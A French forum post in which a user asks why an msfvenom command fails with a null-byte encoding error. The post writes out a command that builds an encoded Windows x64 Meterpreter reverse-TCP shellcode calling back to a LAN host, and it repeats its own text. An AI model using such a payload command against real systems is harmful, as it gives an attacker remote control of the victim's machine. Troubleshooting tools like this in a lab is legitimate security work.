Bonsoir à tous, je suis confronté en ce moment à un problème qui dépasse toute logique selon moi : je tente d'encoder un payload (ou plutôt un shellcode, mais passons) à l'aide de cette commande : msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.28 LPORT=4444 -e x64/zutto_dekiru -i 10 -b '\x00' -f c -o /home/uvision/Desktop/shellcode.c
Le problème étant que j'obtiens ce résultat : Attempting to encode payload with 10 iterations of x64/zutto_dekiru
x64/zutto_dekiru failed with Encoding failed due to a bad character (index=30, char=0x00)
Error: An encoding exception occurred.
Je suis bien conscient de la présence de null bytes dans ce shellcode, pour la simple et bonne raison que j'en avais déjà généré auparavant sans l'option "-b", qui est sensée les enlever, et non pas stopper l'encodage... ?
Bref, bon courage pour me trouver une solution (je suis sous parrot os si ça peut vous intéresser, même si ça ne change rien par rapport à kali de toutes façon)
Le problème étant que j'obtiens ce résultat : Attempting to encode payload with 10 iterations of x64/zutto_dekiru
x64/zutto_dekiru failed with Encoding failed due to a bad character (index=30, char=0x00)
Error: An encoding exception occurred.
Je suis bien conscient de la présence de null bytes dans ce shellcode, pour la simple et bonne raison que j'en avais déjà généré auparavant sans l'option "-b", qui est sensée les enlever, et non pas stopper l'encodage... ?
Bref, bon courage pour me trouver une solution (je suis sous parrot os si ça peut vous intéresser, même si ça ne change rien par rapport à kali de toutes façon)
Commentaire